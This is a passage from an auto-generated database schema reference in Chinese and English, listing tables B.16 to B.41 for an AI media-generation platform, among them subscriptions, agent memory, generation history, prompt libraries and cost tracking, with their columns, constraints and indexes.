| imageUrl  | (同)  | text      |     | NOT NULL                               |                 |
| fileKey   | (同)  | text      |     |                                        |                 |
| tags      | (同)  | json      |     |                                        |                 |
| metadata  | (同)  | json      |     |                                        |                 |
| createdAt | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                 |
| updatedAt | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                 |

```
# userIdIdx: index("cv_userId_idx").on(table.userId)
# userIdItemTypeIdx: index("cv_userId_itemType_idx").on( table.userId, table.itemType )
```

B.16 subscription\_plans (var: subscriptionPlans)

欄位 8 · 索引 0 · 文件/卡提及 5 次 · 程式碼(var)引用檔 2

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                     | enum 值                      |
|-----------------|------|-----------|-----|------------------------|-----------------------------|
| id              | (同)  | int       |     | PK AUTO_INC            |                             |
| name            | (同)  | varchar   | 128 | NOT NULL               |                             |
| tier            | (同)  | mysqlEnum |     | NOT NULL DEFAULT free  | free,starter,pro,enterprise |
| priceMonthly    | (同)  | int       |     | NOT NULL DEFAULT 0     |                             |
| quotaAllocation | (同)  | json      |     | NOT NULL               |                             |
| features        | (同)  | json      |     |                        |                             |
| isActive        | (同)  | boolean   |     | NOT NULL DEFAULT true  |                             |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now() |                             |

B.17 ai\_director\_preferences (var: aiDirectorPreferences)

欄位 9 · 索引 1 · 文件/卡提及 5 次 · 程式碼(var)引用檔 2

| 欄位名                | DB欄名 | 型別        | 長度 | 約束                                     | enum 值                  |
|--------------------|------|-----------|----|----------------------------------------|-------------------------|
| id                 | (同)  | int       |    | PK AUTO_INC                            |                         |
| userId             | (同)  | int       |    | NOT NULL                               |                         |
| personality        | (同)  | mysqlEnum |    | NOT NULL DEFAULT creative              | calm,creative,technical |
| preferredFormat    | (同)  | mysqlEnum |    | NOT NULL DEFAULT co-star               | co-star,sslc,selcm,free |
| customSystemPrompt | (同)  | text      |    |                                        |                         |
| preferencesJson    | (同)  | json      |    |                                        |                         |
| onboardingSteps    | (同)  | json      |    |                                        |                         |
| createdAt          | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                         |
| updatedAt          | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                         |

```
# userIdIdx: index("adp_userId_idx").on(table.userId)
```

B.18 specialized\_agent\_memory (var: specializedAgentMemory)

欄位 11 · 索引 3 · 文件/卡提及 4 次 · 程式碼(var)引用檔 1

| 欄位名    | DB欄名 | 型別  | 長度 | 約束          | enum 值 |
|--------|------|-----|----|-------------|--------|
| id     | (同)  | int |    | PK AUTO_INC |        |
| userId | (同)  | int |    | NOT NULL    |        |

| 欄位名         | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                              |
|-------------|------|-----------|-----|----------------------------------------|-------------------------------------|
| agentId     | (同)  | varchar   | 64  | NOT NULL                               |                                     |
| memoryType  | (同)  | mysqlEnum |     | NOT NULL DEFAULT preference            | preference,pattern,context,feedback |
| memoryKey   | (同)  | varchar   | 128 | NOT NULL                               |                                     |
| memoryValue | (同)  | json      |     | NOT NULL                               |                                     |
| confidence  | (同)  | decimal   |     | DEFAULT 0.50                           |                                     |
| usageCount  | (同)  | int       |     | DEFAULT 1                              |                                     |
| lastUsedAt  | (同)  | timestamp |     |                                        |                                     |
| createdAt   | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                     |
| updatedAt   | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                     |

```
# userAgentIdx: index("sam_user_agent_idx").on(table.userId, table.agentId)
# userAgentTypeIdx: index("sam_user_agent_type_idx").on( table.userId, table.agentId, table.memoryType )
# memoryKeyIdx: index("sam_memory_key_idx").on(table.memoryKey)
```

## B.19 specialized\_agent\_interactions (var: specializedAgentInteractions)

欄位 10 · 索引 3 · 文件/卡提及 7 次 · 程式碼(var)引用檔 1

| 欄位名              | DB欄名 | 型別        | 長度  | 約束                     | enum 值                                                            |
|------------------|------|-----------|-----|------------------------|-------------------------------------------------------------------|
| id               | (同)  | int       |     | PK AUTO_INC            |                                                                   |
| userId           | (同)  | int       |     | NOT NULL               |                                                                   |
| agentId          | (同)  | varchar   | 64  | NOT NULL               |                                                                   |
| sessionId        | (同)  | varchar   | 128 |                        |                                                                   |
| interactionType  | (同)  | mysqlEnum |     | NOT NULL               | activated,tool_used,suggestion_accepted,suggestion_rejected,error |
| toolName         | (同)  | varchar   | 128 |                        |                                                                   |
| contextData      | (同)  | json      |     |                        |                                                                   |
| userSatisfaction | (同)  | mysqlEnum |     |                        | positive,neutral,negative                                         |
| durationMs       | (同)  | int       |     |                        |                                                                   |
| createdAt        | (同)  | timestamp |     | NOT NULL DEFAULT now() |                                                                   |

```
# userAgentIdx: index("sai_user_agent_idx").on(table.userId, table.agentId)
# sessionId: index("sai_session_idx").on(table.sessionId)
# createdAtIdx: index("sai_created_at_idx").on(table.createdAt)
```

## B.20 agent\_model\_picks (var: agentModelPicks)

欄位 3 · 索引 0 · 文件/卡提及 10 次 · 程式碼(var)引用檔 14

| 欄位名     | DB欄名 | 型別      | 長度  | 約束          | enum 值 |
|---------|------|---------|-----|-------------|--------|
| id      | (同)  | int     |     | PK AUTO_INC |        |
| userId  | (同)  | int     |     | NOT NULL    |        |
| modelId | (同)  | varchar | 128 | NOT NULL    |        |

## B.21 generation\_history (var: generationHistory)

欄位 18 · 索引 4 · 文件/卡提及 18 次 · 程式碼(var)引用檔 10

| 欄位名               | DB欄名 | 型別        | 長度 | 約束                     | enum 值                  |
|-------------------|------|-----------|----|------------------------|-------------------------|
| id                | (同)  | int       |    | PK AUTO_INC            |                         |
| userId            | (同)  | int       |    | NOT NULL               |                         |
| requestId         | (同)  | int       |    |                        |                         |
| modality          | (同)  | mysqlEnum |    | NOT NULL               | image,video,audio,voice |
| prompt            | (同)  | text      |    |                        |                         |
| compiledPrompt    | (同)  | text      |    |                        |                         |
| parameterSnapshot | (同)  | json      |    |                        |                         |
| resultUrl         | (同)  | text      |    |                        |                         |
| thumbnailUrl      | (同)  | text      |    |                        |                         |
| userRating        | (同)  | int       |    |                        |                         |
| isBookmarked      | (同)  | boolean   |    | NOT NULL DEFAULT false |                         |
| costCredits       | (同)  | int       |    | NOT NULL DEFAULT 1     |                         |

| 欄位名                                                                                                                      | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|--------------------------------------------------------------------------------------------------------------------------|------|-----------|----|------------------------|--------|
| durationMs                                                                                                               | (同)  | int       |    |                        |        |
| provider                                                                                                                 | (同)  | varchar   | 32 |                        |        |
| archivedAt                                                                                                               | (同)  | timestamp |    |                        |        |
| expiresAt                                                                                                                | (同)  | timestamp |    |                        |        |
| archivalChecksum                                                                                                         | (同)  | varchar   | 64 |                        |        |
| createdAt                                                                                                                | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |
| # userIdCreatedAtIdx: index("userId_createdAt_idx").on( table.userId, table.createdAt )                                  |      |           |    |                        |        |
| # userIdModalityIdx: index("gh_userId_modality_idx").on( table.userId, table.modality )                                  |      |           |    |                        |        |
| # userIdBookmarkedIdx: index("gh_userId_isBookmarked_idx").on( table.userId, table.isBookmarked )                        |      |           |    |                        |        |
| # archivedNullCreatedAtIdx: index("gh_archivedNull_createdAt_idx").on( sql`(\` archivedAt\` IS NULL)`, table.createdAt ) |      |           |    |                        |        |

B.22 custom\_blocks (var: customBlocks)

欄位 8 · 索引 1 · 文件/卡提及 7 次 · 程式碼(var)引用檔 6

| 欄位名                                                                                     | DB欄名 | 型別        | 長度  | 約束                     | enum 值                  |
|-----------------------------------------------------------------------------------------|------|-----------|-----|------------------------|-------------------------|
| id                                                                                      | (同)  | int       |     | PK AUTO_INC            |                         |
| userId                                                                                  | (同)  | int       |     | NOT NULL               |                         |
| modality                                                                                | (同)  | mysqlEnum |     | NOT NULL               | image,video,audio,voice |
| category                                                                                | (同)  | varchar   | 64  | NOT NULL               |                         |
| label                                                                                   | (同)  | varchar   | 128 | NOT NULL               |                         |
| prompt                                                                                  | (同)  | varchar   | 512 | NOT NULL               |                         |
| emoji                                                                                   | (同)  | varchar   | 8   |                        |                         |
| createdAt                                                                               | (同)  | timestamp |     | NOT NULL DEFAULT now() |                         |
| # userIdModalityIdx: index("cb_userId_modality_idx").on( table.userId, table.modality ) |      |           |     |                        |                         |

B.23 block\_combos (var: blockCombos)

欄位 9 · 索引 2 · 文件/卡提及 41 次 · 程式碼(var)引用檔 13

| 欄位名                                                                                   | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                  |
|---------------------------------------------------------------------------------------|------|-----------|-----|----------------------------------------|-------------------------|
| id                                                                                    | (同)  | int       |     | PK AUTO_INC                            |                         |
| userId                                                                                | (同)  | int       |     | NOT NULL                               |                         |
| name                                                                                  | (同)  | varchar   | 255 | NOT NULL                               |                         |
| modality                                                                              | (同)  | mysqlEnum |     | NOT NULL                               | image,video,audio,voice |
| blockIds                                                                              | (同)  | json      |     | NOT NULL                               |                         |
| customBlockIds                                                                        | (同)  | json      |     |                                        |                         |
| vibeCardIds                                                                           | (同)  | json      |     |                                        |                         |
| createdAt                                                                             | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                         |
| updatedAt                                                                             | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                         |
| # userIdIdx: index("bc_userId_idx").on(table.userId)                                  |      |           |     |                                        |                         |
| # userIdModalityIdx: index("bc_userId_modality_idx").on(table.userId, table.modality) |      |           |     |                                        |                         |

B.24 system\_settings (var: systemSettings)

欄位 20 · 索引 0 · 文件/卡提及 12 次 · 程式碼(var)引用檔 2

| 欄位名                 | DB欄名 | 型別        | 長度 | 約束                      | enum 值               |
|---------------------|------|-----------|----|-------------------------|----------------------|
| id                  | (同)  | int       |    | PK AUTO_INC             |                      |
| userId              | (同)  | int       |    | NOT NULL UNIQUE         |                      |
| accentColor         | (同)  | varchar   | 32 | DEFAULT violet          |                      |
| fontScale           | (同)  | mysqlEnum |    | NOT NULL DEFAULT medium | small,medium,large   |
| reducedMotion       | (同)  | boolean   |    | NOT NULL DEFAULT false  |                      |
| sidebarCollapsed    | (同)  | boolean   |    | NOT NULL DEFAULT false  |                      |
| crashReportConsent  | (同)  | boolean   |    | NOT NULL DEFAULT false  |                      |
| shareUsageData      | (同)  | boolean   |    | NOT NULL DEFAULT false  |                      |
| showProfilePublicly | (同)  | boolean   |    | NOT NULL DEFAULT false  |                      |
| backupFrequency     | (同)  | mysqlEnum |    | NOT NULL DEFAULT weekly | daily,weekly,monthly |
| backupRetentionDays | (同)  | int       |    | NOT NULL DEFAULT 30     |                      |
| lastBackupAt        | (同)  | timestamp |    |                         |                      |

| 欄位名                      | DB欄名 | 型別        | 長度 | 約束                                     | enum 值                    |
|--------------------------|------|-----------|----|----------------------------------------|---------------------------|
| defaultCreativeMode      | (同)  | mysqlEnum |    | NOT NULL DEFAULT balanced              | balanced,creative,precise |
| autoSaveHistory          | (同)  | boolean   |    | NOT NULL DEFAULT true                  |                           |
| nsfwFilter               | (同)  | boolean   |    | NOT NULL DEFAULT true                  |                           |
| generationCompleteNotify | (同)  | boolean   |    | NOT NULL DEFAULT true                  |                           |
| weeklyDigestEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT false                 |                           |
| timezone                 | (同)  | varchar   | 64 | DEFAULT Asia/Taipei                    |                           |
| createdAt                | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                           |
| updatedAt                | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                           |

B.25 news\_articles (var: newsArticles)

欄位 3 · 索引 3 · 文件/卡提及 16 次 · 程式碼(var)引用檔 5

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------|------|-----------|----|----------------------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC                            |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# isPublishedPinnedIdx: index("na_isPublished_isPinned_idx").on( table.isPublished, table.isPinned, table.publishedAt )
# categoryIdx: index("na_category_idx").on(table.category)
# publishedAtIdx: index("na_publishedAt_idx").on(table.publishedAt)
```

B.26 featured\_showcase (var: featuredShowcase)

欄位 3 · 索引 2 · 文件/卡提及 28 次 · 程式碼(var)引用檔 2

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------|------|-----------|----|----------------------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC                            |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# modalityIdx: index("fs_modality_idx").on(table.modality)
# curatorIdx: index("fs_curator_idx").on(table.curatorUserId)
```

B.27 featured\_showcase\_comments (var: featuredShowcaseComments)

欄位 6 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 1

| 欄位名        | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|------------|------|-----------|----|----------------------------------------|--------|
| id         | (同)  | int       |    | PK AUTO_INC                            |        |
| showcaseId | (同)  | int       |    | NOT NULL                               |        |
| userId     | (同)  | int       |    | NOT NULL                               |        |
| content    | (同)  | text      |    | NOT NULL                               |        |
| createdAt  | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt  | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# showcaseCreatedIdx: index("fsc_showcase_created_idx").on( table.showcaseId, table.createdAt )
# userIdx: index("fsc_user_idx").on(table.userId)
```

B.28 user\_ai\_brain (var: userAiBrain)

欄位 32 · 索引 0 · 文件/卡提及 18 次 · 程式碼(var)引用檔 11

| 欄位名                  | DB欄名 | 型別      | 長度 | 約束                    | enum 值 |
|----------------------|------|---------|----|-----------------------|--------|
| id                   | (同)  | int     |    | PK AUTO_INC           |        |
| userId               | (同)  | int     |    | NOT NULL UNIQUE       |        |
| directorTemperature  | (同)  | decimal |    | NOT NULL DEFAULT 0.4  |        |
| directorTopP         | (同)  | decimal |    | NOT NULL DEFAULT 0.9  |        |
| directorSystemPrompt | (同)  | text    |    |                       |        |
| directorEnabled      | (同)  | boolean |    | NOT NULL DEFAULT true |        |
| analystTemperature   | (同)  | decimal |    | NOT NULL DEFAULT 0.3  |        |
| analystTopP          | (同)  | decimal |    | NOT NULL DEFAULT 0.8  |        |
| analystSystemPrompt  | (同)  | text    |    |                       |        |

| 欄位名                     | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-------------------------|------|-----------|----|----------------------------------------|--------|
| analystEnabled          | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| storytellerTemperature  | (同)  | decimal   |    | NOT NULL DEFAULT 0.9                   |        |
| storytellerTopP         | (同)  | decimal   |    | NOT NULL DEFAULT 0.95                  |        |
| storytellerSystemPrompt | (同)  | text      |    |                                        |        |
| storytellerEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| technicianTemperature   | (同)  | decimal   |    | NOT NULL DEFAULT 0.2                   |        |
| technicianTopP          | (同)  | decimal   |    | NOT NULL DEFAULT 0.7                   |        |
| technicianSystemPrompt  | (同)  | text      |    |                                        |        |
| technicianEnabled       | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| curatorTemperature      | (同)  | decimal   |    | NOT NULL DEFAULT 0.8                   |        |
| curatorTopP             | (同)  | decimal   |    | NOT NULL DEFAULT 0.9                   |        |
| curatorSystemPrompt     | (同)  | text      |    |                                        |        |
| curatorEnabled          | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| imageEngineParams       | (同)  | json      |    |                                        |        |
| imageEngineEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| videoEngineParams       | (同)  | json      |    |                                        |        |
| videoEngineEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| audioEngineParams       | (同)  | json      |    |                                        |        |
| audioEngineEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| voiceEngineParams       | (同)  | json      |    |                                        |        |
| voiceEngineEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT true                  |        |
| createdAt               | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt               | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

B.29 user\_model\_switch\_logs (var: userModelSwitchLogs)

欄位 2 · 索引 2 · 文件/卡提及 3 次 · 程式碼(var)引用檔 2

| 欄位名    | DB欄名 | 型別  | 長度 | 約束          | enum 值 |
|--------|------|-----|----|-------------|--------|
| id     | (同)  | int |    | PK AUTO_INC |        |
| userId | (同)  | int |    | NOT NULL    |        |

# userIdSwitchedAtIdx: index("umsl\_userId\_switchedAt\_idx").on( table.userId, table.switchedAt )  
# userIdBrainSlotIdx: index("umsl\_userId\_brainSlot\_idx").on( table.userId, table.brainSlot )

B.30 custom\_blocks\_combo (var: customBlocksCombo)

欄位 4 · 索引 8 · 文件/卡提及 2 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------|------|-----------|----|----------------------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC                            |        |
| userId    | (同)  | int       |    | NOT NULL                               |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

# userIdIdx: index("cbc\_userId\_idx").on(table.userId), userIdModalityIdx: index("cbc\_userId\_modality\_idx").on(table.userId, table.modality), isCuratedPublicIdx: index("cbc\_i  
# conversationId: varchar("conversation\_id", { length: 48 }).notNull()  
# userId: int("user\_id").notNull()  
# role: mysqlEnum("role", ["user", "orb"]).notNull()  
# text: text("text").notNull()  
# at: bigint("at", { mode: "number" }).notNull()  
# createdAt: timestamp("created\_at").defaultNow().notNull()  
# userConvIdx: index("orbcm\_user\_conv\_idx").on( table.userId, table.conversationId )

B.31 prompt\_library (var: promptLibrary)

欄位 10 · 索引 3 · 文件/卡提及 28 次 · 程式碼(var)引用檔 39

| 欄位名    | DB欄名 | 型別      | 長度  | 約束          | enum 值 |
|--------|------|---------|-----|-------------|--------|
| id     | (同)  | int     |     | PK AUTO_INC |        |
| userId | (同)  | int     |     | NOT NULL    |        |
| title  | (同)  | varchar | 256 | NOT NULL    |        |

| 欄位名            | DB欄名 | 型別        | 長度  | 約束                                     | enum 值 |
|----------------|------|-----------|-----|----------------------------------------|--------|
| content        | (同)  | text      |     | NOT NULL                               |        |
| isFavorite     | (同)  | boolean   |     | NOT NULL DEFAULT false                 |        |
| isPublic       | (同)  | boolean   |     | NOT NULL DEFAULT false                 |        |
| useCount       | (同)  | int       |     | NOT NULL DEFAULT 0                     |        |
| modelHint      | (同)  | varchar   | 128 |                                        |        |
| generationMode | (同)  | varchar   | 32  |                                        |        |
| updatedAt      | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("pl_userId_idx").on(table.userId)
# categoryIdx: index("pl_category_idx").on(table.category)
# generationModelIdx: index("pl_generationMode_idx").on(table.generationMode)
```

B.32 prompt\_assets (var: promptAssets)

欄位 3 · 索引 3 · 文件/卡提及 6 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------|------|-----------|----|------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC            |        |
| promptId  | (同)  | int       |    | NOT NULL               |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

```
# promptIdIdx: index("pa_promptId_idx").on(table.promptId)
# assetIdIdx: index("pa_assetId_idx").on(table.assetId)
# promptAssetRelUnique: uniqueIndex("pa_prompt_asset_rel_unique").on( table.promptId, table.assetId, table.relation )
```

B.33 prompt\_collection (var: promptCollection)

欄位 11 · 索引 5 · 文件/卡提及 6 次 · 程式碼(var)引用檔 8

| 欄位名        | DB欄名 | 型別        | 長度  | 約束                                     | enum 值              |
|------------|------|-----------|-----|----------------------------------------|---------------------|
| id         | (同)  | int       |     | PK AUTO_INC                            |                     |
| userId     | (同)  | int       |     | NOT NULL                               |                     |
| title      | (同)  | varchar   | 256 | NOT NULL                               |                     |
| content    | (同)  | text      |     | NOT NULL                               |                     |
| category   | (同)  | varchar   | 64  | NOT NULL DEFAULT general               |                     |
| tags       | (同)  | json      |     |                                        |                     |
| visibility | (同)  | mysqlEnum |     | NOT NULL DEFAULT private               | private,team_shared |
| isFavorite | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                     |
| useCount   | (同)  | int       |     | NOT NULL DEFAULT 0                     |                     |
| createdAt  | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                     |
| updatedAt  | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                     |

```
# userIdIdx: index("pc_userId_idx").on(table.userId)
# userVisibilityIdx: index("pc_userId_visibility_idx").on( table.userId, table.visibility )
# teamVisibilityIdx: index("pc_teamId_visibility_idx").on( table.teamId, table.visibility )
# sourceTypeIdx: index("pc_sourceType_idx").on(table.sourceType)
# userSourceUk: uniqueIndex("pc_user_source_uk").on( table.userId, table.sourceType, table.sourceRef )
```

B.34 external\_service\_subscriptions (var: externalServiceSubscriptions)

欄位 14 · 索引 0 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名             | DB欄名 | 型別        | 長度  | 約束              | enum 值                       |
|-----------------|------|-----------|-----|-----------------|------------------------------|
| id              | (同)  | int       |     | PK AUTO_INC     |                              |
| serviceName     | (同)  | varchar   | 64  | NOT NULL        |                              |
| planName        | (同)  | varchar   | 128 |                 |                              |
| monthlyCostUsd  | (同)  | decimal   |     |                 |                              |
| billingCycle    | (同)  | mysqlEnum |     |                 | monthly,annual,pay-as-you-go |
| nextRenewalDate | (同)  | date      |     |                 |                              |
| apiKeyEnvVar    | (同)  | varchar   | 64  |                 |                              |
| apiKeyStatus    | (同)  | mysqlEnum |     | DEFAULT unknown | valid,invalid,unknown        |
| workspaceName   | (同)  | varchar   | 128 |                 |                              |
| ownerEmail      | (同)  | varchar   | 320 |                 |                              |

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值          |
|-----------|------|-----------|----|----------------------------------------|-----------------|
| riskLevel | (同)  | mysqlEnum |    | DEFAULT medium                         | low,medium,high |
| notes     | (同)  | text      |    |                                        |                 |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                 |
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                 |

B.35 r2\_storage\_snapshots (var: r2StorageSnapshots)

欄位 8 · 索引 0 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名                     | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-------------------------|------|-----------|----|------------------------|--------|
| id                      | (同)  | int       |    | PK AUTO_INC            |        |
| snapshotDate            | (同)  | date      |    | NOT NULL               |        |
| totalBytes              | (同)  | bigint    |    | DEFAULT 0              |        |
| totalObjects            | (同)  | int       |    | DEFAULT 0              |        |
| bytesByType             | (同)  | json      |    |                        |        |
| objectsByType           | (同)  | json      |    |                        |        |
| estimatedMonthlyCostUsd | (同)  | decimal   |    |                        |        |
| createdAt               | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

B.36 user\_subscriptions (var: userSubscriptions)

欄位 11 · 索引 3 · 文件/卡提及 3 次 · 程式碼(var)引用檔 3

| 欄位名                  | DB欄名 | 型別        | 長度 | 約束                                     | enum 值                             |
|----------------------|------|-----------|----|----------------------------------------|------------------------------------|
| id                   | (同)  | int       |    | PK AUTO_INC                            |                                    |
| userId               | (同)  | int       |    | NOT NULL UNIQUE                        |                                    |
| stripeCustomerId     | (同)  | varchar   | 64 |                                        |                                    |
| stripeSubscriptionId | (同)  | varchar   | 64 |                                        |                                    |
| planId               | (同)  | varchar   | 64 | NOT NULL DEFAULT free                  |                                    |
| status               | (同)  | mysqlEnum |    | DEFAULT active                         | active,past_due,cancelled,trialing |
| currentPeriodStart   | (同)  | timestamp |    |                                        |                                    |
| currentPeriodEnd     | (同)  | timestamp |    |                                        |                                    |
| cancelAtPeriodEnd    | (同)  | boolean   |    | DEFAULT false                          |                                    |
| createdAt            | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                                    |
| updatedAt            | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                                    |

# stripeCustomerIdIdx: index("us\_stripeCustomerId\_idx").on(table.stripeCustomerId)  
# stripeSubscriptionIdIdx: index("us\_stripeSubscriptionId\_idx").on(table.stripeSubscriptionId)  
# statusIdx: index("us\_status\_idx").on(table.status)

B.37 orb\_feedback\_events (var: orbFeedbackEvents)

欄位 3 · 索引 2 · 文件/卡提及 2 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------|------|-----------|----|------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC            |        |
| userId    | (同)  | int       |    | NOT NULL               |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

# userIdCreatedAtIdx: index("ofe\_userId\_createdAt\_idx").on( table.userId, table.createdAt )  
# userIdActionTypeIdx: index("ofe\_userId\_actionType\_idx").on( table.userId, table.actionType )

B.38 ai\_usage\_events (var: aiUsageEvents)

欄位 13 · 索引 3 · 文件/卡提及 6 次 · 程式碼(var)引用檔 9

| 欄位名      | DB欄名 | 型別        | 長度  | 約束                       | enum 值 |
|----------|------|-----------|-----|--------------------------|--------|
| id       | (同)  | int       |     | PK AUTO_INC              |        |
| provider | (同)  | mysqlEnum |     | NOT NULL                 |        |
| endpoint | (同)  | varchar   | 256 | NOT NULL                 |        |
| userId   | (同)  | int       |     |                          |        |
| apiKeyId | (同)  | varchar   | 128 |                          |        |
| status   | (同)  | mysqlEnum |     | NOT NULL DEFAULT success |        |

| 欄位名          | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|--------------|------|-----------|----|------------------------|--------|
| units        | (同)  | decimal   |    | DEFAULT 0              |        |
| unitType     | (同)  | mysqlEnum |    | DEFAULT request        |        |
| costUsd      | (同)  | decimal   |    | DEFAULT 0              |        |
| latencyMs    | (同)  | int       |    |                        |        |
| requestMeta  | (同)  | json      |    |                        |        |
| errorMessage | (同)  | text      |    |                        |        |
| createdAt    | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

# providerCreatedAtIdx: index("aue\_provider\_createdAt\_idx").on(table.provider, table.createdAt)  
# userIdCreatedAtIdx: index("aue\_userId\_createdAt\_idx").on(table.userId, table.createdAt)  
# statusCreatedAtIdx: index("aue\_status\_createdAt\_idx").on(table.status, table.createdAt)

B.39 provider\_snapshots (var: providerSnapshots)

欄位 10 · 索引 1 · 文件/卡提及 3 次 · 程式碼(var)引用檔 4

| 欄位名         | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-------------|------|-----------|----|------------------------|--------|
| id          | (同)  | int       |    | PK AUTO_INC            |        |
| provider    | (同)  | mysqlEnum |    | NOT NULL               |        |
| tier        | (同)  | varchar   | 64 |                        |        |
| quota       | (同)  | decimal   |    |                        |        |
| remaining   | (同)  | decimal   |    |                        |        |
| nextInvoice | (同)  | json      |    |                        |        |
| balanceUsd  | (同)  | decimal   |    |                        |        |
| concurrency | (同)  | int       |    |                        |        |
| extraData   | (同)  | json      |    |                        |        |
| snapshotAt  | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

# providerSnapshotAtIdx: index("ps\_provider\_snapshotAt\_idx").on(table.provider, table.snapshotAt)

B.40 cost\_aggregations (var: costAggregations)

欄位 8 · 索引 2 · 文件/卡提及 5 次 · 程式碼(var)引用檔 4

| 欄位名          | DB欄名 | 型別        | 長度  | 約束                 | enum 值 |
|--------------|------|-----------|-----|--------------------|--------|
| id           | (同)  | int       |     | PK AUTO_INC        |        |
| provider     | (同)  | mysqlEnum |     | NOT NULL           |        |
| endpoint     | (同)  | varchar   | 256 | NOT NULL           |        |
| date         | (同)  | date      |     | NOT NULL           |        |
| callCount    | (同)  | int       |     | NOT NULL DEFAULT 0 |        |
| totalUnits   | (同)  | decimal   |     | DEFAULT 0          |        |
| totalCostUsd | (同)  | decimal   |     | DEFAULT 0          |        |
| exchangeRate | (同)  | decimal   |     |                    |        |

# providerDateIdx: index("ca\_provider\_date\_idx").on(table.provider, table.date)  
# dateIdx: index("ca\_date\_idx").on(table.date)

B.41 cost\_ledger (var: costLedger)

欄位 12 · 索引 6 · 文件/卡提及 1 次 · 程式碼(var)引用檔 3

| 欄位名            | DB欄名 | 型別        | 長度  | 約束                      | enum 值 |
|----------------|------|-----------|-----|-------------------------|--------|
| id             | (同)  | int       |     | PK AUTO_INC             |        |
| accountKey     | (同)  | varchar   | 128 | NOT NULL                |        |
| entryType      | (同)  | mysqlEnum |     | NOT NULL                |        |
| status         | (同)  | mysqlEnum |     | NOT NULL DEFAULT posted |        |
| idempotencyKey | (同)  | varchar   | 191 | NOT NULL                |        |
| refType        | (同)  | varchar   | 64  |                         |        |
| refId          | (同)  | varchar   | 128 |                         |        |
| createdAt      | (同)  | timestamp |     | NOT NULL DEFAULT now()  |        |
| workflowId     | (同)  | varchar   | 128 |                         |        |
| exchangeRate   | (同)  | decimal   |     |                         |        |
| amountTwd      | (同)  | decimal   |     |                         |        |
| model          | (同)  | varchar   | 128 |                         |        |

```
# idempotencyKeyUnique: uniqueIndex("cl_idempotencyKey_unique").on( table.idempotencyKey )
# accountKeyStatusIdx: index("cl_accountKey_status_idx").on( table.accountKey, table.status )
